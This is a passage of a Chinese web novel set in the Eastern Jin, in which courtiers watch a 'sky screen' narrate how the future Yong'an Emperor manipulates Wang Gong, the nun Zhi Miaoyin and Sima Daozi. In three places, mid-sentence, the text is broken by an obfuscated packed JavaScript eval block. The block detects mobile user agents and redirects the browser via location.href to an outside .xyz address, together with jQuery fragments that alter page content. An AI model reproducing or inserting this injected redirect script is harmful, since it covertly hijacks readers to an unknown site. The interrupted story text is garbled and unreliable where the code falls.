【他虽然姓王,但出自太原王氏,而不是琅琊王氏。提到太原王氏,有记忆力好的观众应该想起来了,在介绍司马曜的妃嫔时,曾经出现过这四个字。】 【对,司马曜已故的皇后王法慧,就是这个“王”。王恭,正是王法慧的兄长。】 【王恭这个人长得好,气质也好,按照魏晋名士的品评标准,他能进前列,一度因为喜欢穿着鹤氅赏雪,被人误认为神仙中人。】 【当然,他被永安格外看重,并不只是因为他的长相气度,而是因为,他的手中有兵权。】 【司马曜这个人,算是东晋少有的实权皇帝,所以他一边放浪形骸,沉迷酒色,为了更好地享乐,将权力下放给了会稽王,一边也知道,应该要对他进行制衡,就将外地的兵马交到了王恭的手上。】 【会让他做出这个选择,主要还是因为,王恭和司马道子之间有矛盾。】 【王恭的兵权到了什么程度呢?】 【司马曜死在太元二十一年,将时间往前推六年,早在太元十五年的时候,王恭就已经担任着前将军的官职,都督兖州、青州、幽州、并州、徐州和扬州的军事。当然,考虑到这里面的一部分地盘被外族侵占,并不属于这个时候的南方王朝,在王恭身上最有分量的官职,是兖州刺史和青州刺史。同时,司马曜还赐予了他符节,让他假节镇守。】 【到了司马曜过世的时候,他依然手握重兵,坐镇在外。】 【要是换了永安在这个位置,估计笑都能笑醒了。谁拿到了这种权力,只有别人怕他的份……】 天幕之下的王神爱还真是满脸的羡慕。 要不是拿到了太后懿旨,北府军不会听从她的调派。就连那二百直系精兵,也是因近日的待遇,才算是她的人马。 可看看这位王将军…… 反正是比王珣的兵权大了不止一点。 王珣微妙地感觉到了一道嫌弃的目光,转头去看,又什么都没瞧见,只看到众人全神贯注望向天幕的动作。 【据说早年间,司马曜还打算让王恭同时出任荆州刺史,要是这么做的话,就是彻底的外州包围中央了。】 【这么一搞,司马道子直接慌了,必须要打消司马曜的这个计划。传闻,另外还有一个人也对这个委任大不满意,正是将荆州作为大本营的桓玄。】 【这一条的可信度有多高不好说,因为仅限于记载在比丘尼传中,被一笔带过。毕竟,在荆州刺史官职被确定的那一年,桓玄才刚刚踏入仕途,应该没有那么快确认,他在几年内就要重新夺回荆州军的掌控权。当然,作为将来险些效仿他父亲称帝的胆大权臣,桓玄可能也确实有这样的觉悟。】 【但很可惜,司马道子一定明确地表达了自己的态度,桓玄也可能有过发言,最终都没改变司马曜的想法。于是这个时候,就不得不提到支妙音这个人了。】 【司马曜是个很信奉佛教的人,对尼僧尤为亲昵,甚至不仅仅是让这些僧人出入宫门讲经,还让这些人牵涉到了政治当中。其中最受司马曜信赖的,就是支妙音。】 【这个时期的比丘尼,大多出自世家大族,有文化可能只是最微不足道的一个长处,如支妙音,就是“谈论属文,雅有才致”,难怪后来会被永安大帝派去修编战乱中散落的文集。更重要的是,这些人还在与上层人物的接触中表达自己的政见,对朝堂局势大有影响。】 【为了成功阻止王恭再多领一州的兵马,司马道子也不得不将赌注押在支妙音的身上。他带了一笔不菲的财富贿赂这位简静寺住持,请求她在皇帝面前多说几句话。】 【最终各方发力的结果,就是一位“弱才”,当时任职黄门侍郎的殷仲堪,被任命为了荆州刺史。】 “难怪……”王神爱听到这里,不由有几分唏嘘。 “难怪什么?” 王神爱环顾了一圈四周,想起来先前那封被截获的军报,只传到了她的手上,并未让其他朝臣知晓,便趁着天幕的转场间隙,简短地交代了两句。 她的难怪二字是在说,难怪荆州易主得如此容易。 正因为荆州刺史殷仲堪是个“弱才”,才会如此轻易地被桓玄所拿捏,又因为殷仲堪没能在荆州军中树立起足够的威信,才会让桓玄敢大着胆子将他杀死。 废物当然死得快! 朝臣顿时面面相觑。 他们也不知道该感慨的是,荆州出了这样大的一件事情,疑似昔年桓温旧事卷土重来,还是应该感慨,太子妃的消息比他们还灵通。 但这该找谁说理去? 好像也没什么好说的…… 【……总之,被永安看中的两个人,一个是先帝在位时备受倚重的比丘尼,背后有一张千丝万缕的关系网,一个是先帝心腹,仍旧手握重兵在外。】 【但比丘尼就是比丘尼,并不是朝臣,在司马道子父子掌权后,更是被驱逐回了简静寺。】 【王恭手握重兵,但也只是在入拜山陵的时候感慨一句栋梁仍新,却见亡国之兆,暗指司马道子等人祸国,仍旧驻守在外。】 【永安大帝思前想后,觉得这两方,正是最适合用来杀死司马道子父子的两把刀。】 王神爱心中腹诽,倘若天幕未曾出现,王珣没有成为她的助力,她的首选,或许还真如天幕所说,就是这两个人。 支妙音显然不是一个讲求清净无为的方外之人,而是希望借助于宗教,获得等同于朝臣的地位,甚至得到更多的东西。 皇位更替之后的失权,对她来说就尤为可怕。 而王恭既能说出对司马道子的谴责,当有除贼之心,只是不知是不是缺了些决断,竟迟迟没有应对。 不如从中添一把火! 当火烧建康的时候,又有谁还有空管她呢? …… 【永安大帝的处境虽然堪忧,但先前能有人告密,现在也有少许心腹可用,即刻展开了行动。】 【行动的第一步,是让司马元显在恭维奉承话的挑唆,和五石散的助力之下,将一批财货据为己有。】 【以他彼时的地位,在建康做出这等行径,一点也不奇怪。但好巧不巧,他劫走的那部分财货,原本是简静寺的供奉。】 先帝在世时,对简静寺可以说是有求必应,用于供奉祭祀的礼器贡品数不胜数,金银财货更是从未断绝,到了“富倾都邑”的地步。 简静寺中明明只有门徒百余人,车马也过了百辆。 前阵子王神爱翻阅宫中账册的时候,都大觉惊愕。 要不是张贵人给她提供了第一批军需钱粮,她都怀疑,自己会带着北府兵上门抢劫。 司马元显是抢对人了! 但对于简静寺住持支妙音来说,这可不是什么好消息。 皇帝换了人,她先前与司马道子的交情却没有换来任何的好处,反而遭到了打压。当年司马道子给她送的礼,就这么被他儿子以另一种方式抢了回去。 这都叫什么事? 她的信众早前就告诉过她一条奇怪的流言,说是司马道子对她早就心存不满,生怕别人再提及,自己早年间还要依靠一个女人来说好话。 如今看似还未发作,谁知道往后会如何呢?现在赶上了司马元显的劫掠行径,可算是应验了。 【……这位比丘尼当年能长袖善舞,得到司马曜全心的信赖,手腕与眼力自然不差。她思前想后都觉得,若是继续让司马道子父子执掌朝政,总有一日她损失的不只是寺中供奉,而是更多的东西。】 【倘若司马道子有心僭越称帝,取代侄子的位置,她早年间的相助,非但不会是她的福祉,反而是一道催命符。与其如此,还不如引王恭进京清君侧,让她往后从那个傻子皇帝那里谋些好处。】 王珣小退了两步到了王神爱的身边,低声问道:“需要将简静寺控制起来吗?” 支妙音手段非同小可,又由天幕认证,和永安大帝的人有过往来,或许能借此找到永安的线索。 却见王神爱摇了摇头:“先看下去。别好处没得到,已步天幕上司马道子覆辙了。” 王珣可真是该积极的时候不积极,不该积极的时候瞎着急,都没她这个处境危险的人沉得住气。 她还在认真捕捉天幕上的信息呢。 尤其是,支妙音这个人。 【支妙音知道,她昔日为司马道子做过说客,若是贸然联络王恭,可能没能达成联盟,就已被赶了出来。王恭还得怀疑一下,她是不是想替司马道子设一场鸿门宴呢。】 【那就只剩下一个办法了,就是把路走绝,到王恭绝不会怀疑的地步。】 【也算是司马元显运气不好吧。其实他抢了东西之后交还给支妙音,再好好道个歉,那些谣传流言不至于被当真,也不至于走到后面的那一步。但他本就年少气盛,还因为永安的归属和父亲大吵了一架,又怎么听得进去原物奉还这样的话。】 【所以,他抢了别人的东西,别人就只能勉为其难取了他的人头,作为送给别人的礼物了。】 噗…… 王神爱都差点被逗笑了。 这可真是好一个“勉为其难”! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034618|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天幕之上,司马元显就是这样死的,死得更加潦草。最多就是多了一点战略意义。 【司马道子震怒地在全建康城内寻找杀死儿子的凶手时,司马元显的人头早已随同支妙音的里应外合承诺,送到了王恭的桌案上。】 【王恭也随即做出了发兵建康的决定,在三日后兵临城下!】 一时之间。 热血激昂的战鼓,打破了原本属于建康城的平静。 但在天幕之下观影的百姓,却不像是先前看到淝水之战的场面时心跳加速。 姑且不说,这是一场只在天幕上呈现出的交战,根本没打到他们的头上,说说别的。 他们可能听不太懂先前的布局谋划和利益博弈,但他们听得懂一个最简单的情况。 城外的将军兵力很强,还有城中的内应,一下子就能进城来! 还别说,看到司马元显在城中作乱,自己的脑袋却不明不白地到了敌军将领的桌上,看着怪有趣的。 【毫无疑问,这是一场一面倒的战争。最后也根本没有打起来,损伤城中百姓。】 王神爱的脸上慢慢浮现出了一缕笑容。 然而下一刻,这抹笑容就凝固在了当场。 只听天幕的一句话,有若晴空霹雳砸了下来:【因为王恭根本就没有进城!】 王恭没有进城,怎么会这样? 他已优势在握了! 【司马道子在王恭的突然发兵面前,早已慌乱得失了方寸,连儿子到底是怎么死的,都已顾不上了。但他的地位够高,手下也难免会有能人,在这个时候给他提出了两个建议。】 【其一,是拿属下王国宝开刀,杀他以平民愤,将先前种种全部推到王国宝的头上。】 【其二,就是派遣出一名说客,质问王恭,他到底想要走到哪一步。】 【起兵逼杀奸臣王国宝,他王恭还可以算是个纯正的忠臣,是先帝倚重的外戚,可若是他带兵攻入建康城中,杀死了摄政的皇叔,以他手握的军权,会有无数人在他的后面挑唆,让他走上一条不臣之路。】 【或者,就算他没有这样的想法,他攻破建康的行为,就已是如山铁证。】 【有人就问了,这种话王恭也会听吗?】 【答案是,会的。因为王恭起兵的队伍里,人心也是不齐的,总会有人更愿意看到皇叔掌权,而不是王恭成为新的权臣。】 他们希望看到的,是一种朝野内外的平衡,而不是东风压倒西风,彻底变成某一方的胜利。 【事实证明,这个判断一点也没错。】 【王恭自己就拿不定主意,在他军中还有劝说他退兵的人,最后的结果,是王恭见证了司马道子杀死王国宝后班师而走,并未进入建康城半步,只在城下,对着傻子皇帝行了一个忠臣的礼节。】 【这个滑稽的画面里,还有两个很重要的人——】 【那个给司马道子提建议的人,叫做庾楷,出自鄢陵庾氏。】 【而那个劝说王恭退兵的人,叫做王珣,出自琅琊王氏。】 王珣脸色大变:“……!!!” 他怎么也没想到,自己的名字会是以这种方式出现在了天幕之上。 就算……就算这好像真是他做得出来的事情。 天幕的声音里满是讥诮。 【多荒唐的一幕!明明从兵力到立场都占据优势,只需要一鼓作气就能击破敌军,却在最后只差一步的时候,满足于“杀了一个奸臣”的结果,施施然退去!】 【来的时候浩浩荡荡,好像能直接吞没建康城,改换青天,走的时候还是浩浩荡荡,却只留下了一个不知所谓的忠臣之名!】 是啊,太荒唐了。 真的太荒唐了! 王神爱凝固住的笑容已彻底化作了眉眼间的冷色。 天幕之上的旌旗映衬着斜阳,都没能融化她眼中的坚冰。 但好像,她其实更想笑的。 比如张贵人当日癫狂的笑声,就最适合此刻,笑这场开始得轰轰烈烈、结束得如同一个笑话的战斗。 多可笑啊…… 王神爱死死地咬着后槽牙,生怕自己骂出声来。 她比任何人都更能共情那个步步求生的“永安大帝”,所以她也比任何人都痛心。 天幕上的她苦心孤诣,希望一举拔除两个祸患,竟然得到这样的结果! 【王恭撤走了。】 …… 【没人知道,当永安站在城楼上,看到那支军队来了又走,最终还是留着司马道子把持朝政、继续祸乱民生的时候,到底在想些什么。】 【作为一个后来亲自体察百姓疾苦的皇帝,一个真将永安二字在收复山河后落实到民间的皇帝,那个时候应该哭不出来,也笑不出来。】 【从接下来发生的种种看,有一个结论再清楚不过:】 【永安对世家,彻底失望了。】 …… 她对世家,或许原本还有一线的希望,有着一点幼稚的固有印象,都在这一刻灰飞烟灭。 目睹王恭撤兵,一个声音也越来越清楚地响起在了她的脑海里。 要救自己,要救这个世道,权力绝不能从世家手中得来,更不能相信他们的良心。 还有一件事。 终有一日,她也绝不会放过这些人! 12. 012 “对世家彻底失望了……”王珣口中自语,神色中是掩饰不住的慌乱。 他已经理解,琅琊王氏后来的灭族之祸,其中有一部分,到底从何而来。 若是没有世家的劝说与制衡,王恭在有人做内应的情况下,势必能攻入建康,将司马道子从掌权的位置上踢下来。就算皇帝还是个傻子,群臣一心,永安又有心报国,总比所谓的“内外制衡”好得多。 可现在呢? 当王恭退兵之后,司马道子也能有余力收拾那些“内应”,永安作为幕后黑手,势必要面对天大的麻烦。 是世家将他逼迫至此! 他将来得势掌权,怎能不报复回去。 司马道子得了车裂的结局,王珣又会如何? 眼见王神爱看向了他,王珣连忙辩解:“天幕上的情形说得简略,或许还另有隐情。” 王神爱努力克制住了自己唇边的一颤,低声道:“族叔,这话您不该跟我解释,该跟朝臣还有百姓解释。” 隐情?他有什么隐情!若是按照天幕所说,他当时都不在建康,是在王恭的军中…… 若非她此刻还需隐藏身份,是真想掰开王珣的脑子看看,他到底在想些什么。 但想想先前她召集了北府军,也没从琅琊王氏那里得到军粮支持,又好像完全能理解这些人的想法。 世家的傲慢啊。 只有巴掌甩到了脸上,刀扎在了身上,才会感觉到疼痛。 就像现在,先前王珣还因诛杀司马道子,在众人面前挺着胸膛,现在却是半垂着头,只抬起一双眼睛,快速打量了一圈周围,不出意外地对上了几张欲言又止的脸,而后像是被烫到了一般,又瞧向了眼前。 他挤出了一句话:“太子妃聪慧,可有办法凭借天幕所说,找出那位永安大帝?” “……族叔。”王神爱轻叹一声,提醒道,“恕我直言,现在谁都可以去干这个杀人灭口的事情,唯独你不行。您没听天幕说吗?永安大帝亲自体察百姓疾苦,真将永安二字落实到民间,虽还没说到她到底做了些什么,但在外头,怕是已有些声望了。” 百姓比朝臣更觉天幕是神迹,这是不争的事实。 王珣却是被天幕盖章了,一度站在永安的对立面。 若是在这个时候大张旗鼓地寻找永安下落,旁人是会觉得,他如今知错能改,打算向对方表态以示忠心,还是会觉得,他恼羞成怒,意欲杀人泄愤呢? 还是后者的可能更大吧。 琅琊王氏要名声清白,就绝不会允许王珣做出这样的事来。 王珣想跳脚:“谁说我是要灭口的?我只是,想先知道是何人,方能对症下药……” 倘若此人已因天幕的缘故逃出了建康,趁势而起,再不能轻易消灭,他也只能先为自己多找些保命的筹码了。 再说了,天幕上的永安大帝还未除掉司马道子,只暂时解除了一个麻烦,天幕之下,司马道子父子却已伏诛,其中有他一份功劳。那位永安大帝若是个胸襟开阔之人,也不该将未发生的事情怪责在他的头上。 且慢!说到保命…… 他用只有他和王神爱能听到的声音说道:“您先前向太后建议,为防天幕有变,太子暂不登基,也是为了防止,二皇子才是那位天命帝王。但如今,天幕始终不曾透露出永安大帝的身份,反而说了些对我们不利的话,可否……改一改策略?” 王神爱若有所思,已猜到了王珣的意思,却还是问道:“族叔此话何解?” 王珣道:“让太子尽快登基,放出消息招揽贤才!” 他语气急促,任谁都能听得出迫切:“永安并未起势,司马氏仍是正统,他若不想发起叛乱,大可以入朝为臣。太子痴傻,您有急智,不如临朝摄政,借机聚拢兵权,以庇护王氏上下。” 现在兵权是因太后懿旨,才暂时落到太子妃的手里,还是不够安全,倒不如再进一步。 让王神爱做这个皇后,还是实权皇后! 王神爱当即摇头:“这算盘打得太响了,建康朝堂上的不是蠢人,怎么会看不出,族叔推动此事为的是什么?” 若不是她已知道,自己就是那位永安大帝,都要为自己叫屈。 从太子妃变成皇后,在将来有人改朝换代的时候,危险系数何止翻倍。 他是为了保命,完全没给她留后路啊。 “可此事是能争取的。”王珣咬牙回道。“他们是晋朝的臣子!” 何况,放眼朝堂,自九品中正制实行后,世家与黔首的差距越拉越大,再经由衣冠南渡,能站在朝堂上、站到天子面前的,有几个不是世家出身? 永安对世家的失望,难道只是对王氏吗?不是的,他们一个也别想逃掉。 他没有任何一刻要比现在庆幸,王神爱的身上还有晋朝皇室血脉,这让她代行天子权柄之事,远没有那么困难。 人人都有自己的算盘,他只是要将其摊牌得更早一些,又有什么错。 王神爱的指尖缓缓离开了被戳疼的掌心,明明对于王珣此刻的“知情识趣”很是满意,还是犹豫道:“……让我再想想吧。” 王珣真想问一句,她先前决断分明,无论是请来二皇子,还是意图诛杀司马道子,都比旁人反应得更快,为何偏要在此事上拖沓! 但见她已重新凝视着天幕,面色肃然,不像是放弃挣扎的样子,王珣又振作起了精神。 他也终于从先前的恍惚中聚拢了神思,让天幕上的声音钻入他的耳朵。 【……】 【事实上,王恭撤走之后,处境最危险的人还不是永安大帝,而是支妙音。】 【王恭的撤兵,在这一番运作之下,变成了清君侧成功后的顺利班师,自然也不必再拿着司马元显的脑袋当个信物。念在司马道子痛失爱子的份上,把头还他了。】 是了! 远在简静寺的支妙音顿时意识到了这话的意思。 香烟袅袅中的佛寺清修,与头顶天幕上的朝堂厮杀,似乎完全是两个世界的东西。但当这位年岁刚过四旬的住持抬眸上望的时候,被天光映亮的,却是一双并不安分的眼睛。 “住持……” “不必担心。”支妙音语气和缓,“他们自己的麻烦都没理清楚,动刀动不到我的头上。没有这个道理,要拿未发生的事情来砍当下的脑袋。” 但就算话是这么说,她还是忍不住为那个自己捏了一把冷汗。 王恭要归还司马元显的脑袋,就不可能只是还一个头而已,一定还会将她派去的使者一并还给司马道子。 在他看来,这就是抬一抬手的小事,对于失去司马曜庇护的简静寺,却是一场灭顶之灾。 这让支妙音无法将视线从天幕上挪开,看看那个自己到底是如何逃过的死劫,还能在后来被派遣去修编文书,也看看…… 那位充当幕后推手的永安大帝面对这样的情形,又会做出什么应对。 【……不得不说,就算是与永安大帝为敌的桓玄,也说不出对方几句坏话,最多就是到了地下,还得控诉一下自己死得太惨。当立场相同的时候,永安就是一位最好的合作伙伴。】 【对此刘大将军肯定是很有话说的。毕竟军功这么高的将领,最后还能和君王做到君臣相得、两不相疑,直到高寿善终,可以说是极为难得了。】 【至于支妙音,她虽然现在还不算是大帝的部下,但她被迫入局,充当了大帝的一把刀,还帮忙杀了司马元显,怎么都算半个自己人。所以身临危境时,也没落入孤军奋战的境地。】 【这既是有恩必报,也算是大帝在无人可用的情况下,看中了支妙音的能力和她背后的人力,提前递出了一份邀约。】 【总之,还没等司马道子从送人头的使者那里问出点东西,他就被一件天大的麻烦事给缠上了,再没有多余的心情管其他的。】 【谁也没想到会发生这样的惊变。就在王恭撤兵的当晚,帝后二人投缳自尽了。】 天幕之下,太极殿前,朝臣惊恐的表情活像是在彼此照镜子。 投缳?什么投缳? 谁投缳上吊了??? 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038053|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然恰好有宫人得到了某种提醒,在合适的时候经过,将人救了下来,并未真送了性命,但对司马道子来说,这简直是一个致命的打击。】 【他刚用一套说辞劝走了王恭,让他不要真混成了反贼,要考虑考虑攻破建康城造成的影响,结果王恭是走了,皇帝也差点死了,这什么意思?】 【司马道子吓都要被吓死了!】 【但凡这消息被传出去,天下文人……不,应该说是天下但凡会点文字的人,都要对他口诛笔伐。忠于晋朝的会骂他,不忠于晋朝的更要骂他。】 【比如桓玄这位投机主义者,就在知道了这件事后,就写了一篇相当出名的讨贼檄文,痛斥司马道子作为臣子不守臣纲,险些逼死皇帝。】 桓玄眯了眯眼睛。他虽然不知道何为“投机主义者”,但他听得懂天幕的意思。 换了是现在的他,在知道朝中权臣逼杀皇帝的事后,也势必会做出应对。如此好的讨伐名分,他不接住才是愚蠢。 可一想到这个把柄是由一个更有野心的人策划着递给他的,还会在未来将他置于死地,他就像是吞了只苍蝇,说不出的难受。 【要知道,那个时候的投缳自杀,恶劣影响要比现在还大得多。先前已经说过了,司马曜是个佛教信徒,一些佛教经义早已广播宫中,在当时的说法里,其中有一条,叫做自杀者下辈子不能再成为人身。】① 【不错,皇帝确实是个傻子,这次自杀行动中他只是个服从命令的人,但那有什么关系呢?反正事实都已经摆在天下人眼前了。他们只会质疑,司马道子得为非作歹到了什么地步,才会让皇帝都难以忍受,选择一死?】 【还有,王恭是被司马道子欺骗了,还是干脆就是与司马道子同流合污,才如此果断地撤兵,置司马德宗的生死于不顾?】 【王珣险些逼死自己的族侄,又要不要对此担负起责任?】 【这一片人仰马翻里,没人有空管支妙音了。也就是在这个夜晚——】 天幕之上燃起了一把明火,烧起在了已被快速搬空的简静寺内。 支妙音是个聪明人。永安给出的天赐良机,便绝不会被错过。 【皇宫里乱成了一团,支妙音则在这时带着弟子和那个宫中来的军师一起出城逃走,启程前往了钱塘。】 【这里,是永安大帝在体验到了世家的荒唐后,为自己选择的下一处助力所在。】 【而那位和支妙音同行的军师化名姜定,带来了永安大帝的下一步计划。】 【……】 王神爱从听到“投缳”两个字开始,就已经伸手捂住了自己的脖子,轻抽了口气。 嘶—— 另一个自己在遭遇了那等打击之后,心态远比她所能想象的还要更疯,竟然拿自己的性命摆上了棋盘作为赌注。 但谁也无法否认,置之死地而后生,从来都是一项极为有用的战术。 经此一事,司马道子必定再不敢拿司马元显的死对着她问罪。 而她这个举动,更是为天下有心讨贼的人,提供了一份足够有分量的罪证。 这很值得! 若能借此看清世人的态度,也让有些人看到她,就更值得了! 还有…… 王神爱想到这里,又忽然眼神一闪。 天幕的叙述中是针对司马道子在说局势,将帝后归于一体,其实没有直接将永安大帝和皇后画上等号。 知道永安是谁的人,和不知道她身份的,听起来是完全不同的感觉。 这意味着,对于其他人来说,皇后投缳,要么是被永安诓骗或者说服的,要么,就干脆是被人给挂上去的。 但不论是哪一种,都充满了身不由己的可悲。 这种理解,好像也正是她顺势而为的机会! 她的手依然没有从脖子上拿下,脸上凝重的神色里,已隐约夹杂了两分惊恐。 天幕熊熊火光哔啵作响,不绝于耳。 王珣就是在此时,听到了她略有颤抖的声音:“族叔,您先前的建议……我考虑好了。” 13. 013 天幕星火映照在了王神爱的眼睛里。 她说出这句话的刹那,自王珣的视角中,充斥着求生的孤注一掷。 嗯,怎么不是求生呢? 按照王珣的理解,永安大帝还混在建康众人当中不知身份,但可以确定的是,他那一手因势利导,引起鹬蚌相争的本领着实高强,这样的人已可在朝堂上占据一席之地。 偏偏,他还足够心狠手辣。 晋朝的皇帝皇后算什么?在必要的时候,也不过是他用来制造舆论的工具。 看看天幕上说的好了。 投缳自尽是被宫人发现,这才并未送命,可万一晚了一些抵达,岂不是就变成真死了? 王珣自己解释不清,他为什么会建议王恭撤兵,这个时候也相当“公平”地没问,王神爱为何有可能被永安所骗,做出这种傻事。 反正现在纠正过来也不迟! 他也已经听到了王神爱的下一句话:“如今没有司马道子摄政,皇后的权力比天幕上所说更大。若……若能尽快收拢权柄,总不至于沦为他人棋子!” “可眼下有天幕在前,又正值乱局,光凭我一人力主太子登基,还远远不够,还请族叔为我从中斡旋。” 她的态度很明确了。 她答应王珣的建议,来做这个皇后! 王珣生怕她后悔,忙道:“好……好!你能想通就好。” 不论天幕接下来给出何种消息,这次又会持续多久才消失,这个方向暂时定下,王神爱也愿意配合,总归让他稍觉安心。 只是他思忖片刻,又多说了一句:“若此事顺遂,还有一事需由你来留意。” “族叔是说天幕提到的那句——宫中来的军师?” 王珣赞道:“正是!” 与聪明人说话就是痛快,尤其是王神爱这种应变极快的聪明人。 若是逮不到永安,先抓住那个奉命行事的军师总没错。 这次还多了个修饰,叫做“来自宫中”。 皇后统领六宫,要排查人选,比任何人都方便得多。 王神爱微微蹙眉:“可天幕说,此人化名姜定,却没提到他的真名,盘查起来不大容易……” 王珣这会儿的脑子倒是转得比先前快一些,答道:“姓氏为大,先找姜姓之人吧。只是自永嘉南渡后,宫中人员驳杂,往后几代也常常疏漏刊载来历,宫中传唤的姓氏未必还是本姓,按照祖籍来找吧。我未记错的话,姜姓大多分布在川陇一带与山东一带。” “我明白了。”王神爱郑重应道,显然已将此事放在了心上,口中又把“姜定”二字轻声念了几遍。 王珣却并未看到,这个名字反复咀嚼中,竟让王神爱的脸上,多出了一抹古怪的笑意。 姜定啊…… 来到这陌生的东晋时期还没多久,王神爱能接触到的人和名字,对比于整座皇宫,整个建康都还太少了。 但好巧不巧,她还真认识一个与“姜定”二字有关的人。 “姜”这个字啊,不仅作为姓氏常见,还经常作为晋朝女子名字中的一个字。 所以她知道的那个人,不叫“姜定”,而叫“定姜”。 …… 张贵人望着天幕,就陷入了沉思。 这两个熟悉的字让她难免有些恍惚。那是她的名字颠倒过来。 但她再是胆大,也真不敢将自己和“军师”二字联系在一起。 她被人骂过妖妃祸水,连先帝都是她杀的,简直可以将这个称号坐实了,和“军师”有个什么关系! 总不能真因为当日太子妃的一句“招贤”,就有了这等错误的认知。 可“支妙音”这个名字,又很难不让她的那个想法,在被压下去后,很快如同浮木弹回了水面。 她是司马曜的宠妃,支妙音是司马曜在佛教尼僧中最信赖的人。 十年间,两人打过不少的交道,虽称不上一句知交,但在天幕提及支妙音让人杀死司马元显的时候,易位而处,她完全能理解支妙音的想法。 所以她也有一种近乎直觉的揣测,当宫中动乱,无人有空顾及简静寺的时候,支妙音或许会如天幕所说的那样,快速自混乱的建康抽身,带着信徒一并撤离,却不该去什么钱塘! 支妙音向来知道,要如何背靠大树发展宗教,借着这面旗幡谋利晋身,那么在逃出建康后,理当前往荆州,为桓玄送去一份建康动乱背后的情报,给自己换一个避风港。 除非,那位名为“姜定”的军师和她有旧,也有这个本事说服她。 要按这么说的话,先前那个乍听起来荒谬的猜测,又好像没有那么荒谬。 可是—— “这真的有可能吗?” …… 【为什么说永安大帝对世家彻底失望?因为接下来的那条路,从一开始就与世家背道而驰。】 【永安让军师带往钱塘的任务,也好像是在呼应那一次次留在竹简、留在纸上的问题——权从何来。】 王神爱盯着那再度浮现出来的四个字。 经由先前的变故,再加上那赌命之举,这四个字里已隐有泣血叩问的意思。 所以,和其他想要继续从字迹中辨认永安身份的人不同,她已猜到了另一个自己的想法。 这个答案,对于后世的人来说其实没有那么难想。 不过,若是没有王恭的那一出退兵,或许也不会被这样快摆上前台。 时势—— 这就是时势! 她心中沉沉,天幕上的声音也变得严肃了起来。 【东晋时期,因为九品中正制的缘故,士人都被按照“家世”,包括祖父父亲的官职、姻亲的家世,以及“状”,也就是本人的才能道德,分成了九品,作为吏部选官的一项重要凭证。】 【但越到后来,这个考评标准里,家世占据的分量就越重,以至于寒门无贵子,变成了天下普遍的情况。能在朝堂上立足的人才,能出任州郡长官的英杰,也普遍出自门阀之家。】 【永安最开始的目的,是尽快结束东晋的内乱,停止国中内耗,所以不得不接受一个观念,那就是依靠士族的力量。可也就是这些高门贵胄,在讨伐司马道子的表现中,给出了一记迎头痛击。】 她的第一个计划破碎了。 又或许,这只是一个不切实际的梦被敲打醒来了而已。 【从这里就能看出,永安好像天生就适合帝王这个位置。在这个打击面前,这位未来的皇帝不仅以最快的速度做出了应对,将盟友送出建康,还制定出了一条与先前迥然有别的方针。】 【建康风云动乱,永安却已将目光投向了东南,对“权从何来”这个问题,给出了一个新的答案,也给后世的变革起义,做出了一个开天辟地的示范。】 【古有陈胜吴广起义,有黄巾起义,虽然都在轰轰烈烈地揭竿而起后不久,就被镇压了下去,但它们一经发起,就能在极短时间内号召起以万为计数的人,是不是也代表着民心所向呢?】 【只是因为时代的局限性,让这些起义先一步败给了内部的秩序崩乱,又没能得到机会先将武装发展起来,以至于一旦败退,就极为惨烈。】 【但也幸好,有陈胜吴广发出了“王侯将相,宁有种乎”的呐喊,有张角发出了“苍天已死,黄天当立”的号召,才让永安大帝的这个改变,不是无根浮萍,而是星火再现,落在了这片南方土地上,作为一次崭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044390|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新的尝试。看看若是再试一次的话,到底能不能改变这个格局,以民意对抗门阀,自下而上改变南方的局面。】 【当然,要想让星火燎原,远远没有那么简单,首先就要有让它燃烧的土地。东晋王朝,有没有这样的地方呢?】 【答案是,有!】 天幕上慢慢浮现出了一张地图,裂变成了数个州郡的图块。 东南的一角从黑白的颜色中跳脱了出来,变成了醒目的一片。 天幕之下,负责统领太子妃亲卫的刘裕望着这张地图,不知道为什么,忽然觉得心口燥热了起来。 相比于那些此刻各自色变的世家高官,他这个出身贫苦之家的士卒,好像更能体会到那句“自下而上”的震撼。 幼年险些饿死的经历,更是让他更能明白“民意”二字。 他甚至还不知道那位永安大帝到底想要尝试什么,就已将脖颈抻得更直了些,像是希望更贴近天幕一些,就能更快一步看到后面的发展。 天幕的声音还是同步传达到每一个人面前。 【建康以北的豫州等地,在王恭兵马的监管下,往西的荆州,很快会被崛起的桓玄所把控,那么东南方向呢?】 【这里是江东世家林立的地方,就连琅琊王氏支持司马氏南渡、在建康定国之后,都在积极寻找与江东世家联姻的机会,以便笼络他们。那些从北方南渡而来的士族,也大多选择将庄园修建在了此地。】 【换句话说,这是南北士族的庄园田宅最为集中的地方。】 